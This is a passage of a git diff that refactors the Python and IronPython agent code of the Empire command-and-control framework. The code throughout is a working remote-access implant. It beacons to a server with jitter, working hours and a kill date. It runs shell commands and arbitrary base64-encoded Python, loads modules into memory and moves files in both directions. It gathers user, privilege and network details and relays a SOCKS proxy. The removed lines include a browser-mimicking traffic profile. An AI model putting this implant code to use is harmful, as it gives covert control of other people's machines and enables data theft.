% (e)) + fileCheck = os.path.isfile(implantPath) + if fileCheck: + result += "\n\nError removing module file, please verify path: " + str( + implantPath + ) + self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(result), resultID)) + except Exception as e: + fileCheck = os.path.isfile(implantPath) + if fileCheck: + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 0, + "error executing specified Python data: %s \nError removing module file, please verify path: %s" + % (e, implantPath), + resultID, + ) + ) + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 0, "error executing specified Python data: %s" % (e), resultID + ) + ) - def build_header(self, data, crc): + def powershell_task(self, data, resultID): """ - Takes comp data, org crc32 value, - and adds self header. - data = comp data - crc = crc32 value + Execute a PowerShell command. + Task 112 """ - header = struct.pack("!I", crc) - built_data = header + data - return built_data - - -class decompress(object): - """ - Base clase for init of the package. This will handle - the initial object creation for conducting basic functions. - """ - - CRC_HSIZE = 4 - COMP_RATIO = 9 + result_packet = self.packet_handler.build_response_packet(110, "[!] PowerShell tasks not implemented", resultID) + self.packet_handler.process_job_tasking(result_packet) - def __init__(self, verbose=False): + def powershell_task_dyanmic_code_wait_nosave(self, data, resultID): """ - Populates init. + Execute a PowerShell command and wait for the results without saving output. + Task 118 """ - pass + result_packet = self.packet_handler.build_response_packet(110, "[!] PowerShell tasks not implemented", resultID) + self.packet_handler.process_job_tasking(result_packet) - def dec_data(self, data, cheader=True): + def script_command(self, data, resultID): """ - Takes: - Custom / standard header data - data = comp data with zlib header - BOOL cheader = passing custom crc32 header - returns: - dict with crc32 cheack and dec data string - ex. {"crc32" : true, "dec_data" : "-SNIP-"} + Execute a base64 encoded script. + Task 121 """ - if cheader: - comp_crc32 = struct.unpack("!I", data[: self.CRC_HSIZE])[0] - dec_data = zlib.decompress(data[self.CRC_HSIZE :]) - dec_crc32 = zlib.crc32(dec_data) & 0xFFFFFFFF - if comp_crc32 == dec_crc32: - crc32 = True - else: - crc32 = False - return { - "header_crc32": comp_crc32, - "dec_crc32": dec_crc32, - "crc32_check": crc32, - "data": dec_data, - } - else: - dec_data = zlib.decompress(data) - return dec_data - - -def agent_exit(): - # exit for proper job / thread cleanup - if len(jobs) > 0: + script = base64.b64decode(data) try: - for x in jobs: - jobs[x].kill() - jobs.pop(x) - except: - # die hard if thread kill fails - pass - exit() - - -def indent(lines, amount=4, ch=" "): - padding = amount * ch - return padding + ("\n" + padding).join(lines.split("\n")) - - -# from http://stackoverflow.com/questions/6893968/how-to-get-the-return-value-from-a-thread-in-python -class ThreadWithReturnValue(Thread): - def __init__( - self, group=None, target=None, name=None, args=(), kwargs={}, Verbose=None - ): - Thread.__init__(self, group, target, name, args, kwargs, Verbose) - self._return = None - - def run(self): - if self._Thread__target is not None: - self._return = self._Thread__target( - *self._Thread__args, **self._Thread__kwargs + buffer = StringIO() + sys.stdout = buffer + code_obj = compile(script, "", "exec") + exec(code_obj, globals()) + sys.stdout = sys.__stdout__ + result = str(buffer.getvalue()) + self.packet_handler.send_message(self.packet_handler.build_response_packet(121, result, resultID)) + except Exception as e: + errorData = str(buffer.getvalue()) + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 0, + "error executing specified Python data %s \nBuffer data recovered:\n%s" + % (e, errorData), + resultID, + ) ) - def join(self): - Thread.join(self) - return self._return - - -class KThread(threading.Thread): - """A subclass of threading.Thread, with a kill() - method.""" - - def __init__(self, *args, **keywords): - threading.Thread.__init__(self, *args, **keywords) - self.killed = False + def script_load(self, data, resultID): + """ + Load a script into memory. + Task 122 + """ + try: + parts = data.split("|") + base64part = parts[1] + fileName = parts[0] + raw = base64.b64decode(base64part) + d = decompress() + dec_data = d.dec_data(raw, cheader=True) + if not dec_data["crc32_check"]: + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 122, "Failed crc32_check during decompression", resultID + ) + ) + except Exception as e: + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 122, "Unable to decompress zip file: %s" % (e), resultID + ) + ) - def start(self): - """Start the thread.""" - self.__run_backup = self.run - self.run = self.__run # Force the Thread to install our trace. - threading.Thread.start(self) + zdata = dec_data["data"] + zf = zipfile.ZipFile(io.BytesIO(zdata), "r") + if fileName in list(moduleRepo.keys()): + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 122, "%s module already exists" % (fileName), resultID + ) + ) + else: + moduleRepo[fileName] = zf + self.install_hook(fileName) + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 122, "Successfully imported %s" % (fileName), resultID + ) + ) - def __run(self): - """Hacked run function, which installs the - trace.""" - sys.settrace(self.globaltrace) - self.__run_backup() - self.run = self.__run_backup + def view_loaded_modules(self, data, resultID): + """ + View loaded modules. + Task 123 + """ + # view loaded modules + repoName = data + if repoName == "": + loadedModules = "\nAll Repos\n" + for key, value in list(moduleRepo.items()): + loadedModules += "\n----" + key + "----\n" + loadedModules += "\n".join(moduleRepo[key].namelist()) - def globaltrace(self, frame, why, arg): - if why == "call": - return self.localtrace + self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, resultID)) else: - return None + try: + loadedModules = "\n----" + repoName + "----\n" + loadedModules += "\n".join(moduleRepo[repoName].namelist()) + self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, resultID)) + except Exception as e: + msg = "Unable to retrieve repo contents: %s" % (str(e)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(123, msg, resultID)) - def localtrace(self, frame, why, arg): - if self.killed: - if why == "line": - raise SystemExit() - return self.localtrace + def remove_module(self, data, resultID): + """ + Remove a module. + """ + repoName = data + try: + self.remove_hook(repoName) + del moduleRepo[repoName] + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 124, "Successfully remove repo: %s" % (repoName), resultID + ) + ) + except Exception as e: + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID + ) + ) - def kill(self): - self.killed = True + def start_job(self, code, resultID): + # create a new code block with a defined method name + codeBlock = "def method():\n" + indent(code[1:]) + # register the code block + code_obj = compile(codeBlock, "", "exec") + # code needs to be in the global listing + # not the locals() scope + exec(code_obj, globals()) -def start_job(code, resultID): - global jobs + # create/process Packet start/return the thread + # call the job_func so sys data can be captured + codeThread = KThread(target=self.job_func, args=(resultID,)) + codeThread.start() - # create a new code block with a defined method name - codeBlock = "def method():\n" + indent(code) + self.jobs[resultID] = codeThread - # register the code block - code_obj = compile(codeBlock, "", "exec") - # code needs to be in the global listing - # not the locals() scope - exec(code_obj, globals()) + def job_func(self, resultID): + try: + buffer = StringIO() + sys.stdout = buffer + # now call the function required + # and capture the output via sys + method() + sys.stdout = sys.__stdout__ + dataStats_2 = buffer.getvalue() + result = self.packet_handler.build_response_packet(110, str(dataStats_2), resultID) + self.packet_handler.process_job_tasking(result) + except Exception as e: + p = "error executing specified Python job data: " + str(e) + result = self.packet_handler.build_response_packet(0, p, resultID) + self.packet_handler.process_job_tasking(result) - # create/process Packet start/return the thread - # call the job_func so sys data can be captured - codeThread = KThread(target=job_func, args=(resultID,)) - codeThread.start() + def job_message_buffer(self, message): + # Supports job messages for checkin + try: + self.jobMessageBuffer += str(message) + except Exception as e: + print(e) - jobs[resultID] = codeThread + def get_job_message_buffer(self): + try: + result = self.packet_handler.build_response_packet(110, str(self.jobMessageBuffer)) + self.jobMessageBuffer = "" + return result + except Exception as e: + return self.packet_handler.build_response_packet(0, "[!] Error getting job output: %s" % (e)) + def start_webserver(self, data, ip, port, serveCount): + # thread data_webserver for execution + t = threading.Thread(target=self.data_webserver, args=(data, ip, port, serveCount)) + t.start() + return -def job_func(resultID): - try: - buffer = StringIO() - sys.stdout = buffer - # now call the function required - # and capture the output via sys - method() - sys.stdout = sys.__stdout__ - dataStats_2 = buffer.getvalue() - result = build_response_packet(110, str(dataStats_2), resultID) - process_job_tasking(result) - except Exception as e: - p = "error executing specified Python job data: " + str(e) - result = build_response_packet(0, p, resultID) - process_job_tasking(result) + def data_webserver(self, data, ip, port, serveCount): + # hosts a file on port and IP servers data string + hostName = str(ip) + portNumber = int(port) + data = str(data) + serveCount = int(serveCount) + count = 0 + + class serverHandler(http.server.BaseHTTPRequestHandler): + def do_GET(s): + """Respond to a GET request.""" + s.send_response(200) + s.send_header("Content-type", "text/html") + s.end_headers() + s.wfile.write(data) + + def log_message(s, format, *args): + return + + server_class = http.server.HTTPServer + httpServer = server_class((hostName, portNumber), serverHandler) + try: + while count < serveCount: + httpServer.handle_request() + count += 1 + except: + pass + httpServer.server_close() + return + def permissions_to_unix_name(self, st_mode): + permstr = "" + usertypes = ["USR", "GRP", "OTH"] + for usertype in usertypes: + perm_types = ["R", "W", "X"] + for permtype in perm_types: + perm = getattr(stat, "S_I%s%s" % (permtype, usertype)) + if st_mode & perm: + permstr += permtype.lower() + else: + permstr += "-" + return permstr + + def directory_listing(self, path): + # directory listings in python + # https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html + + res = "" + for fn in os.listdir(path): + fstat = os.stat(os.path.join(path, fn)) + permstr = self.permissions_to_unix_name(fstat[0]) + + if os.path.isdir(fn): + permstr = "d{}".format(permstr) + else: + permstr = "-{}".format(permstr) -def job_message_buffer(message): - # Supports job messages for checkin - global jobMessageBuffer - try: + user = pwd.getpwuid(fstat.st_uid)[0] + group = grp.getgrgid(fstat.st_gid)[0] - jobMessageBuffer += str(message) - except Exception as e: - print(e) + # Convert file size to MB, KB or Bytes + fsize = fstat.st_size + unit = "B" + if fsize > 1024: + fsize >>= 10 + unit = "KB" -def get_job_message_buffer(): - global jobMessageBuffer - try: - result = build_response_packet(110, str(jobMessageBuffer)) - jobMessageBuffer = "" - return result - except Exception as e: - return build_response_packet(0, "[!] Error getting job output: %s" % (e)) + if fsize > 1024: + fsize >>= 10 + unit = "MB" + mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime)) -def send_job_message_buffer(): - if len(jobs) > 0: - result = get_job_message_buffer() - process_job_tasking(result) - else: - pass + res += "{} {} {} {:18s} {:f} {:2s} {:15.15s}\n".format( + permstr, user, group, mtime, fsize, unit, fn + ) + return res -def start_webserver(data, ip, port, serveCount): - # thread data_webserver for execution - t = threading.Thread(target=data_webserver, args=(data, ip, port, serveCount)) - t.start() - return - - -def data_webserver(data, ip, port, serveCount): - # hosts a file on port and IP servers data string - hostName = str(ip) - portNumber = int(port) - data = str(data) - serveCount = int(serveCount) - count = 0 - - class serverHandler(http.server.BaseHTTPRequestHandler): - def do_GET(s): - """Respond to a GET request.""" - s.send_response(200) - s.send_header("Content-type", "text/html") - s.end_headers() - s.wfile.write(data) - - def log_message(s, format, *args): - return - - server_class = http.server.HTTPServer - httpServer = server_class((hostName, portNumber), serverHandler) - try: - while count < serveCount: - httpServer.handle_request() - count += 1 - except: - pass - httpServer.server_close() - return - - -def permissions_to_unix_name(st_mode): - permstr = "" - usertypes = ["USR", "GRP", "OTH"] - for usertype in usertypes: - perm_types = ["R", "W", "X"] - for permtype in perm_types: - perm = getattr(stat, "S_I%s%s" % (permtype, usertype)) - if st_mode & perm: - permstr += permtype.lower() + # additional implementation methods + def run_command(self, command, cmdargs=None): + if command == "shell": + if cmdargs is None: + return "no shell command supplied" + + p = subprocess.Popen( + cmdargs, + stdin=None, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + shell=True, + ) + return p.communicate()[0].strip().decode("UTF-8") + elif re.compile("(ls|dir)").match(command): + if cmdargs == None or not os.path.exists(cmdargs): + cmdargs = "." + + return self.directory_listing(cmdargs) + elif re.compile("cd").match(command): + os.chdir(cmdargs) + return str(os.getcwd()) + elif re.compile("pwd").match(command): + return str(os.getcwd()) + elif re.compile("rm").match(command): + if cmdargs is None: + return "please provide a file or directory" + + if os.path.exists(cmdargs): + if os.path.isfile(cmdargs): + os.remove(cmdargs) + return "done." + elif os.path.isdir(cmdargs): + shutil.rmtree(cmdargs) + return "done." + else: + return "unsupported file type" else: - permstr += "-" - return permstr + return "specified file/directory does not exist" + elif re.compile("mkdir").match(command): + if cmdargs is None: + return "please provide a directory" + os.mkdir(cmdargs) + return "Created directory: {}".format(cmdargs) -def directory_listing(path): - # directory listings in python - # https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html + elif re.compile("(whoami|getuid)").match(command): + return pwd.getpwuid(os.getuid())[0] - res = "" - for fn in os.listdir(path): - fstat = os.stat(os.path.join(path, fn)) - permstr = permissions_to_unix_name(fstat[0]) + elif re.compile("hostname").match(command): + return str(socket.gethostname()) - if os.path.isdir(fn): - permstr = "d{}".format(permstr) else: - permstr = "-{}".format(permstr) + if cmdargs is not None: + command = "{} {}".format(command, cmdargs) + + p = subprocess.Popen( + command, + stdin=None, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + shell=True, + ) + return p.communicate()[0].strip().decode("UTF-8") + + def get_file_part(self, filePath, offset=0, chunkSize=512000, base64=True): + if not os.path.exists(filePath): + return "" + + f = open(filePath, "rb") + f.seek(offset, 0) + data = f.read(chunkSize) + f.close() + if base64: + return base64.b64encode(data) + else: + return data - user = pwd.getpwuid(fstat.st_uid)[0] - group = grp.getgrgid(fstat.st_gid)[0] + def get_sysinfo(self, server, nonce='00000000'): + # NOTE: requires global variable "server" to be set - # Convert file size to MB, KB or Bytes - fsize = fstat.st_size - unit = "B" + # nonce | listener | domainname | username | hostname | internal_ip | os_details | os_details | high_integrity | process_name | process_id | language | language_version | architecture + __FAILED_FUNCTION = '[FAILED QUERY]' - if fsize > 1024: - fsize >>= 10 - unit = "KB" + try: + username = pwd.getpwuid(os.getuid())[0].strip("\\") + except Exception as e: + username = __FAILED_FUNCTION + try: + uid = os.popen('id -u').read().strip() + except Exception as e: + uid = __FAILED_FUNCTION + try: + highIntegrity = "True" if (uid == "0") else False + except Exception as e: + highIntegrity = __FAILED_FUNCTION + try: + osDetails = os.uname() + except: + osDetails = __FAILED_FUNCTION + try: + processID = os.getpid() + except Exception as e: + processID = __FAILED_FUNCTION + try: + hostname = osDetails[1] + except Exception as e: + hostname = __FAILED_FUNCTION + try: + internalIP = socket.gethostbyname(socket.gethostname()) + except Exception as e: + try: + internalIP = os.popen("ifconfig|grep inet|grep inet6 -v|grep -v 127.0.0.1|cut -d' ' -f2").read() + except Exception as e1: + internalIP = __FAILED_FUNCTION + try: + osDetails = ",".join(osDetails) + except Exception as e: + osDetails = __FAILED_FUNCTION + try: + temp = sys.version_info + pyVersion = "%s.%s" % (temp[0], temp[1]) + except Exception as e: + pyVersion = __FAILED_FUNCTION + try: + architecture = platform.machine() + except Exception as e: + architecture = __FAILED_FUNCTION + + language = 'python' + cmd = 'ps %s' % (os.getpid()) + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + out, err = ps.communicate() + parts = out.split(b"\n") + if len(parts) > 2: + processName = b" ".join(parts[1].split()[4:]).decode('UTF-8') + else: + processName = 'python' + return "%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s" % ( + nonce, server, '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID, language, + pyVersion, architecture) - if fsize > 1024: - fsize >>= 10 - unit = "MB" + def process_packet(self, packetType, data, resultID): + try: + packetType = int(packetType) + except Exception as e: + return None - mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime)) + if packetType == 1: + # sysinfo request + # get_sysinfo should be exposed from stager.py + self.packet_handler.send_message(self.packet_handler.build_response_packet(1, self.get_sysinfo(server=self.server), resultID)) - res += "{} {} {} {:18s} {:f} {:2s} {:15.15s}\n".format( - permstr, user, group, mtime, fsize, unit, fn - ) + elif packetType == 2: + # agent exit + self.packet_handler.send_message(self.packet_handler.build_response_packet(2, "", resultID)) + self.agent_exit() - return res + elif packetType == 34: + # TASK_SET_PROXY + pass + elif packetType == 40: + self.run_prebuilt_command(data, resultID) -# additional implementation methods -def run_command(command, cmdargs=None): - if command == "shell": - if cmdargs is None: - return "no shell command supplied" + elif packetType == 41: + self.file_download(data, resultID) - p = subprocess.Popen( - cmdargs, - stdin=None, - stdout=subprocess.PIPE, - stderr=subprocess.STDOUT, - shell=True, - ) - return p.communicate()[0].strip().decode("UTF-8") - elif re.compile("(ls|dir)").match(command): - if cmdargs == None or not os.path.exists(cmdargs): - cmdargs = "." - - return directory_listing(cmdargs) - elif re.compile("cd").match(command): - os.chdir(cmdargs) - return str(os.getcwd()) - elif re.compile("pwd").match(command): - return str(os.getcwd()) - elif re.compile("rm").match(command): - if cmdargs is None: - return "please provide a file or directory" - - if os.path.exists(cmdargs): - if os.path.isfile(cmdargs): - os.remove(cmdargs) - return "done." - elif os.path.isdir(cmdargs): - shutil.rmtree(cmdargs) - return "done." - else: - return "unsupported file type" - else: - return "specified file/directory does not exist" - elif re.compile("mkdir").match(command): - if cmdargs is None: - return "please provide a directory" + elif packetType == 42: + self.file_upload(data, resultID) - os.mkdir(cmdargs) - return "Created directory: {}".format(cmdargs) + elif packetType == 43: + self.directory_list(data, resultID) - elif re.compile("(whoami|getuid)").match(command): - return pwd.getpwuid(os.getuid())[0] + elif packetType == 44: + self.csharp_execute(data, resultID) - elif re.compile("hostname").match(command): - return str(socket.gethostname()) + elif packetType == 50: + self.job_list(resultID) - else: - if cmdargs is not None: - command = "{} {}".format(command, cmdargs) - - p = subprocess.Popen( - command, - stdin=None, - stdout=subprocess.PIPE, - stderr=subprocess.STDOUT, - shell=True, - ) - return p.communicate()[0].strip().decode("UTF-8") + elif packetType == 51: + self.stop_job(data, resultID) + elif packetType == 60: + self.start_socks_server(resultID) -def get_file_part(filePath, offset=0, chunkSize=512000, base64=True): - if not os.path.exists(filePath): - return "" + elif packetType == 61: + self.socksqueue.put(base64.b64decode(data.encode("UTF-8"))) - f = open(filePath, "rb") - f.seek(offset, 0) - data = f.read(chunkSize) - f.close() - if base64: - return base64.b64encode(data) - else: - return data + elif packetType == 70: + self.start_smb_pipe_server(data, resultID) + elif packetType == 100: + self.dynamic_code_execute_wait_nosave(data, resultID) -def sleep_time(jitter): - # Determines the random sleep duration using the delay and jitter - if jitter < 0: - jitter = -jitter - if jitter > 1: - jitter = old_div(1, jitter) + elif packetType == 101: + self.dynamic_code_execution_wait_save(data, resultID) - minSleep = int((1.0 - jitter) * delay) - maxSleep = int((1.0 + jitter) * delay) - return random.randint(minSleep, maxSleep) + elif packetType == 102: + self.disk_code_execution_wait_save(data, resultID) + elif packetType == 110: + self.start_job(data, resultID) -################################################ -# -# main agent functionality -# -################################################ + elif packetType == 111: + # TASK_CMD_JOB_SAVE + pass -while True: - try: - if workingHours != "" and "WORKINGHOURS" not in workingHours: - try: - start, end = workingHours.split("-") - now = datetime.datetime.now() - startTime = datetime.datetime.strptime(start, "%H:%M") - endTime = datetime.datetime.strptime(end, "%H:%M") + elif packetType == 112: + self.powershell_task(data, resultID) - if not (startTime <= now <= endTime): - sleepTime = startTime - now - # sleep until the start of the next window - time.sleep(sleepTime.seconds) + elif packetType == 118: + self.powershell_task_dyanmic_code_wait_nosave(data, resultID) - except Exception as e: - pass + elif packetType == 119: + pass - # check if we're past the killdate for this agent - # killDate form -> MO/DAY/YEAR - if killDate != "" and "KILLDATE" not in killDate: - now = datetime.datetime.now().date() - try: - killDateTime = datetime.datetime.strptime(killDate, "%m/%d/%Y").date() - except: - pass + elif packetType == 121: + self.script_command(data, resultID) - if now >= killDateTime: - msg = "[!] Agent %s exiting" % (sessionID) - send_message(build_response_packet(2, msg)) - agent_exit() + elif packetType == 122: + self.script_load(data, resultID) - # exit if we miss commnicating with the server enough times - if missedCheckins >= lostLimit: - agent_exit() + elif packetType == 123: + self.view_loaded_modules(data, resultID) - # sleep for the randomized interval - time.sleep(sleep_time(jitter)) + elif packetType == 124: + self.remove_module(data, resultID) - (code, data) = send_message() + elif packetType == 130: + # Dynamically update agent comms + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 60, "[!] Switch agent comms not implemented", resultID + ) + ) - if code == "200": - try: - send_job_message_buffer() - except Exception as e: - result = build_response_packet( - 0, str("[!] Failed to check job buffer!: " + str(e)) + elif packetType == 131: + # Update the listener name variable + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 60, "[!] Switch agent comms not implemented", resultID ) - process_job_tasking(result) - if data.strip() == defaultResponse.strip(): - missedCheckins = 0 - else: - decode_routing_packet(data) + ) + else: - pass - # print "invalid code:",code + self.packet_handler.send_message( + self.packet_handler.build_response_packet(0, "invalid tasking ID: %s" % (packetType), resultID) + ) - except Exception as e: - print("main() exception: %s" % (e)) \ No newline at end of file + def run(self): + while True: + try: + if self.working_hours and "WORKINGHOURS" not in self.working_hours: + try: + start, end = self.working_hours.split("-") + now = datetime.datetime.now() + startTime = datetime.datetime.strptime(start, "%H:%M") + endTime = datetime.datetime.strptime(end, "%H:%M") + + if not (startTime <= now <= endTime): + sleepTime = startTime - now + time.sleep(sleepTime.seconds) + + except Exception as e: + pass + + if self.kill_date and "KILLDATE" not in self.kill_date: + now = datetime.datetime.now().date() + try: + kill_date_time = datetime.datetime.strptime(self.kill_date, "%m/%d/%Y").date() + except: + pass + + if now >= kill_date_time: + msg = "[!] Agent %s exiting" % (self.sessionID) + self.packet_handler.send_message(self.packet_handler.build_response_packet(2, msg)) + self.agent_exit() + + if self.packet_handler.missedCheckins >= self.lostLimit: + self.agent_exit() + + if self.jitter < 0: + self.jitter = -self.jitter + if self.jitter > 1: + self.jitter = 1 / self.jitter + + minSleep = int((1.0 - self.jitter) * self.delay) + maxSleep = int((1.0 + self.jitter) * self.delay) + + sleepTime = random.randint(minSleep, maxSleep) + time.sleep(sleepTime) + + code, data = self.packet_handler.send_message() + + if code == "200": + try: + self.send_job_message_buffer() + except Exception as e: + result = self.packet_handler.build_response_packet( + 0, str("[!] Failed to check job buffer!: " + str(e)) + ) + self.packet_handler.process_job_tasking(result) + + if data.strip() == self.defaultResponse.strip() or data == base64.b64encode(self.defaultResponse): + self.packet_handler.missedCheckins = 0 + else: + self.packet_handler.decode_routing_packet(data) + else: + pass + + except Exception as e: + print("main() exception: %s" % (e)) + traceback.print_exc() diff --git a/empire/server/data/agent/ironpython_agent.py b/empire/server/data/agent/ironpython_agent.py index 3bcdc0e8a..6a54dd5dd 100644 --- a/empire/server/data/agent/ironpython_agent.py +++ b/empire/server/data/agent/ironpython_agent.py @@ -6,6 +6,7 @@ import math import numbers import os +import platform import queue as Queue import random import re @@ -17,6 +18,7 @@ import sys import threading import time +import traceback import types import zipfile import zlib @@ -28,6 +30,9 @@ import secretsocks import System from System import Environment +from System.Diagnostics import Process +from System.Security.Principal import (WindowsBuiltInRole, WindowsIdentity, + WindowsPrincipal) clr.AddReference("System.Management.Automation") from System.Management.Automation import Runspaces @@ -37,283 +42,432 @@ # agent configuration information # ################################################ +moduleRepo = {} +_meta_cache = {} + + +def old_div(a, b): + """ + Equivalent to ``a / b`` on Python 2 without ``from __future__ import + division``. + """ + if isinstance(a, numbers.Integral) and isinstance(b, numbers.Integral): + return a // b + else: + return a / b + + +################################################ +# +# Custom Import Hook +# #adapted from https://github.com/sulinx/remote_importer +# +################################################ -# print "starting agent" +# [0] = .py ext, is_package = False +# [1] = /__init__.py ext, is_package = True +_search_order = [(".py", False), ("/__init__.py", True)] -# profile format -> -# tasking uris | user agent | additional header 1 | additional header 2 | ... -profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" -if server.endswith("/"): - server = server[0:-1] +class ZipImportError(ImportError): + """Exception raised by zipimporter objects.""" -delay = 60 -jitter = 0.0 -lostLimit = 60 -missedCheckins = 0 -jobMessageBuffer = "" -currentListenerName = "" -sendMsgFuncCode = "" -proxy_list = [] -_socksthread = None -_socksqueue = None + pass -# killDate form -> "MO/DAY/YEAR" -killDate = "REPLACE_KILLDATE" -# workingHours form -> "9:00-17:00" -workingHours = "REPLACE_WORKINGHOURS" -parts = profile.split("|") -taskURIs = parts[0].split(",") -userAgent = parts[1] -headersRaw = parts[2:] +# _get_info() = takes the fullname, then subpackage name (if applicable), +# and searches for the respective module or package -defaultResponse = base64.b64decode("") -jobs = {} -moduleRepo = {} -_meta_cache = {} +class CFinder(object): + """Import Hook for Empire""" -# global header dictionary -# sessionID is set by stager.py -# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" %(sessionID)} -headers = {"User-Agent": userAgent} + def __init__(self, repoName): + self.repoName = repoName -# parse the headers into the global header dictionary -for headerRaw in headersRaw: - try: - headerKey = headerRaw.split(":")[0] - headerValue = headerRaw.split(":")[1] + def _get_info(self, repoName, fullname): + """Search for the respective package or module in the zipfile object""" + parts = fullname.split(".") + submodule = parts[-1] + modulepath = "/".join(parts) - if headerKey.lower() == "cookie": - headers["Cookie"] = "%s;%s" % (headers["Cookie"], headerValue) + # check to see if that specific module exists + for suffix, is_package in _search_order: + relpath = modulepath + suffix + try: + moduleRepo[repoName].getinfo(relpath) + except KeyError: + pass + else: + return submodule, is_package, relpath + + # Error out if we can find the module/package + msg = "Unable to locate module %s in the %s repo" % (submodule, repoName) + raise ZipImportError(msg) + + def _get_source(self, repoName, fullname): + """Get the source code for the requested module""" + submodule, is_package, relpath = self._get_info(repoName, fullname) + fullpath = "%s/%s" % (repoName, relpath) + source = moduleRepo[repoName].read(relpath) + source = source.replace("\r\n", "\n") + source = source.replace("\r", "\n") + return submodule, is_package, fullpath, source + + def find_module(self, fullname, path=None): + + try: + submodule, is_package, relpath = self._get_info(self.repoName, fullname) + except ImportError: + return None else: - headers[headerKey] = headerValue - except: - pass + return self + + def load_module(self, fullname): + submodule, is_package, fullpath, source = self._get_source( + self.repoName, fullname + ) + code = compile(source, fullpath, "exec") + mod = sys.modules.setdefault(fullname, types.ModuleType(fullname)) + mod.__loader__ = self + mod.__file__ = fullpath + mod.__name__ = fullname + if is_package: + mod.__path__ = [os.path.dirname(mod.__file__)] + exec(code, mod.__dict__) + return mod + + def get_data(self, fullpath): + + prefix = os.path.join(self.repoName, "") + if not fullpath.startswith(prefix): + raise IOError( + "Path %r does not start with module name %r", (fullpath, prefix) + ) + relpath = fullpath[len(prefix) :] + try: + return moduleRepo[self.repoName].read(relpath) + except KeyError: + raise IOError("Path %r not found in repo %r" % (relpath, self.repoName)) + + def is_package(self, fullname): + """Return if the module is a package""" + submodule, is_package, relpath = self._get_info(self.repoName, fullname) + return is_package + + def get_code(self, fullname): + submodule, is_package, fullpath, source = self._get_source( + self.repoName, fullname + ) + return compile(source, fullpath, "exec") + + def install_hook(repoName): + if repoName not in _meta_cache: + finder = CFinder(repoName) + _meta_cache[repoName] = finder + sys.meta_path.append(finder) + + def remove_hook(repoName): + if repoName in _meta_cache: + finder = _meta_cache.pop(repoName) + sys.meta_path.remove(finder) + ################################################ # -# encryption methods +# Socks Server # ################################################ +class Server(secretsocks.Server): + # Initialize our data channel + def __init__(self, q, resultID): + secretsocks.Server.__init__(self) + self.queue = q + self.resultID = resultID + self.alive = True + self.start() + # Receive data from our data channel and push it to the receive queue + def recv(self): + while self.alive: + try: + data = self.queue.get() + self.recvbuf.put(data) + except socket.timeout: + continue + except: + self.alive = False -def decode_routing_packet(data): + # Take data from the write queue and send it over our data channel + def write(self): + while self.alive: + try: + data = self.writebuf.get(timeout=10) + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 61, base64.b64encode(data).decode("UTF-8"), self.resultID + ) + ) + except Queue.Empty: + continue + except: + self.alive = False + + +################################################ +# +# misc methods +# +################################################ +class compress(object): """ - Parse ALL routing packets and only process the ones applicable - to this agent. + Base clase for init of the package. This will handle + the initial object creation for conducting basic functions. """ - # returns {sessionID : (language, meta, additional, [encData]), ...} - packets = parse_routing_packet(stagingKey, data) - if packets is None: - return - for agentID, packet in packets.items(): - if agentID == sessionID: - (language, meta, additional, encData) = packet - # if meta == 'SERVER_RESPONSE': - process_tasking(encData) - else: - smb_server_queue.Enqueue(base64.b64encode(data).decode('UTF-8')) + CRC_HSIZE = 4 + COMP_RATIO = 9 + + def __init__(self, verbose=False): + """ + Populates init. + """ + pass + + def comp_data(self, data, cvalue=COMP_RATIO): + """ + Takes in a string and computes + the comp obj. + data = string wanting compression + cvalue = 0-9 comp value (default 6) + """ + cdata = zlib.compress(data, cvalue) + return cdata + + def crc32_data(self, data): + """ + Takes in a string and computes crc32 value. + data = string before compression + returns: + HEX bytes of data + """ + crc = zlib.crc32(data) & 0xFFFFFFFF + return crc + + def build_header(self, data, crc): + """ + Takes comp data, org crc32 value, + and adds self header. + data = comp data + crc = crc32 value + """ + header = struct.pack("!I", crc) + built_data = header + data + return built_data -def build_response_packet(taskingID, packetData, resultID=0): + +class decompress(object): """ - Build a task packet for an agent. - - [2 bytes] - type - [2 bytes] - total # of packets - [2 bytes] - packet # - [2 bytes] - task/result ID - [4 bytes] - length - [X...] - result data - - +------+--------------------+----------+---------+--------+-----------+ - | Type | total # of packets | packet # | task ID | Length | task data | - +------+--------------------+--------------------+--------+-----------+ - | 2 | 2 | 2 | 2 | 4 | | - +------+--------------------+----------+---------+--------+-----------+ + Base clase for init of the package. This will handle + the initial object creation for conducting basic functions. """ - packetType = struct.pack("=H", taskingID) - totalPacket = struct.pack("=H", 1) - packetNum = struct.pack("=H", 1) - resultID = struct.pack("=H", resultID) - - if packetData: - if isinstance(packetData, str): - packetData = base64.b64encode(packetData.encode("utf-8", "ignore")) + + CRC_HSIZE = 4 + COMP_RATIO = 9 + + def __init__(self, verbose=False): + """ + Populates init. + """ + pass + + def dec_data(self, data, cheader=True): + """ + Takes: + Custom / standard header data + data = comp data with zlib header + BOOL cheader = passing custom crc32 header + returns: + dict with crc32 cheack and dec data string + ex. {"crc32" : true, "dec_data" : "-SNIP-"} + """ + if cheader: + comp_crc32 = struct.unpack("!I", data[: 